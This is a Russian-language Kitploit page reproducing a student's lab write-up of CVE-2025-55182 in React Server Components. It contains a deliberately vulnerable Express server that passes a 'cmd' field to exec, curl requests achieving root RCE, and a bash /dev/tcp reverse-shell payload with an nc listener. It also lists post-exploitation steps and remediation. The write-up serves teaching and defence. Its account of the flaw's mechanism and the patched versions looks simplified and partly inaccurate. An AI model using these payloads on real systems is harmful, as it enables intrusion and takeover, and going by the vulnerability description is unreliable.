Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-55182-analysis — Исследование безопасности и анализ эксплуатации CVE-2025-55182 (React) — сопоставление с CVSS и OWASP Top 10 | Kitploit
Инструменты/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Исследование безопасности и анализ эксплуатации CVE-2025-55182 (React) — сопоставление с CVSS и OWASP Top 10

Репозиторий
25 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 — Анализ RCE в React Server Components

Анализ уязвимости веб-приложения · M2 Cybersecurity · 2025
Автор: Niane Mohamed · LinkedIn

Полная цепочка эксплуатации критической (CVSS 10.0) уязвимости небезопасной десериализации в React Server Components: от разведки до неавторизованного удаленного выполнения кода с полным планом устранения.


⚠️ Отказ от этической ответственности

Данное исследование нацелено на преднамеренно уязвимое лабораторное приложение, созданное для демонстрации CVE. Все тесты проводились в изолированной виртуальной сети, не имеющей соединения с продуктивными системами, реальными пользовательскими данными или сторонними сервисами.

  • НЕ применяйте эти методы к системам, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.
  • НЕ разворачивайте уязвимое приложение в любой сети, доступной из интернета.
  • Действуют принципы ответственного раскрытия — всегда сообщайте о находках через согласованные каналы.

Содержание

  1. Сводка об уязвимости
  2. Затронутые версии
  3. Лабораторная среда
  4. Пошаговая эксплуатация
  5. Оценка воздействия
  6. Устранение
  7. Продемонстрированные навыки

Сводка об уязвимости

ПолеЗначение
CVECVE-2025-55182
ТипНебезопасная десериализация → Удаленное выполнение кода
CVSS v3.110.0 (Критическая) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Требуется аутентификацияНет
Требуется взаимодействие пользователяНет
Вектор атакиСеть (удаленно)
КомпонентСреда выполнения React Server Components (RSC)

Как работает уязвимость

React Server Components ввели новый формат сериализации для потоковой передачи серверных компонентов клиенту. В уязвимых версиях конечная точка RSC принимает JSON-нагрузку с полем cmd, которое без очистки передается в child_process.exec() как часть вычислений серверного рендеринга.

Злоумышленник может отправить подделанный POST-запрос, который:

  1. Принимается как легитимная нагрузка RSC (без аутентификации, без CSRF)
  2. Запускает выполнение кода на стороне сервера во время «рендеринга»
  3. Выполняется с правами процесса Node.js (часто root в контейнерах)

Затронутые версии

КомпонентУязвимый диапазонИсправлено в
react19.0.0 → 19.2.019.3.0+
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+

Лабораторная среда

РольОСИнструменты
АтакующийKali Linux (latest)nmap, curl, netcat, OWASP ZAP, Firefox
ЦельUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
СетьVMware VMnet Host-OnlyНет исходящего интернет-трафика

Целевое приложение

Минимальный сервер Express + RSC, предоставляющий конечную точку /rsc, которая небезопасно выполняет команды из входящей нагрузки — воспроизводит шаблон уязвимости реального CVE в контролируемых условиях:

// server.js — упрощенный, только для лаборатории
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // УЯЗВИМО: выполняет строку, контролируемую атакующим
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

Пошаговая эксплуатация

Фаза 1 — Разведка

# Обнаружение порта
nmap 192.168.159.131
# → 3000/tcp open  ppp  (сервер RSC на Node.js)

# Проверка сервиса
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

Заголовок X-Powered-By: Express и нестандартный порт 3000 дают надежную идентификацию приложения Node.js — соответствует развертываниям RSC.

Фаза 2 — Подтверждение безвредной командой

Прежде чем пытаться выполнить что-либо разрушительное, проверим уязвимость безвредной командой:

curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Ответ:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Подтверждено: неавторизованное RCE от root. Сервер работает с неограниченными привилегиями.

Фаза 3 — Обратная оболочка

Переход от выполнения одиночных команд к полноценной интерактивной оболочке:

# Слушатель на машине атакующего
nc -lvnp 4444

# Доставка нагрузки
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

Слушатель получает:

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Фаза 4 — Потенциал пост-эксплуатации (продемонстрировано, не выполнено)

С правами root на цели атакующий может тривиально:

  • Прочитать /etc/shadow, SSH-ключи, секреты приложения, файлы .env
  • Установить постоянство (cron-задания, systemd-сервисы, внедрение SSH-ключей)
  • Перемещаться по сети с помощью обнаруженных учетных данных
  • Развернуть криптомайнеры или программы-вымогатели
  • Модифицировать приложение Node.js для скрытого захвата пользовательских данных

Оценка воздействия

Бизнес-воздействие (вымышленный сценарий цели)

ОсьВоздействиеПояснение
КонфиденциальностьКритическоеПолный доступ на чтение ко всем серверным данным
ЦелостностьКритическоеВозможность изменить код приложения и данные пользователей
ДоступностьВысокоеАтакующий может остановить сервис или вымогать выкуп
РегуляторноеТяжелоеНарушение GDPR/DSGVO с обязательным уведомлением в 72 ч · возможный штраф 4% глобальной выручки
РепутационноеТяжелоеПубличная уязвимость с CVE наносит ущерб доверию клиентов
ФинансовоеВысокоеРеагирование на инцидент, регуляторные штрафы, возможный коллективный иск

Профиль угрозы

Низкая сложность этой атаки — без аутентификации, без взаимодействия с пользователем, один HTTP-запрос — делает ее привлекательной для:

  • Оппортунистических сканеров (ботнеты, автоматически ищущие эту CVE)
  • Посредников начального доступа, продающих точки опоры группам вымогателей
  • Государственных акторов, нацеленных на организации, использующие серверный рендеринг React

Устранение

Немедленные меры (в течение 24 часов)

  1. Обновите React до 19.3.0+ — исправленная версия

    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. Временное правило WAF (если обновление откладывается):

    Блокировать POST-запросы к /rsc с JSON-телом, содержащим поле "cmd"
    
  3. Экстренное реагирование на инцидент:

    • Просмотрите журналы доступа сервера за последние 90 дней
    • Ищите необычный POST-трафик на /rsc
    • Смените все секреты, доступные с сервера
    • Сделайте снимок уязвимой системы для криминалистики перед устранением

Краткосрочные меры (в течение 2 недель)

Скачать инструмент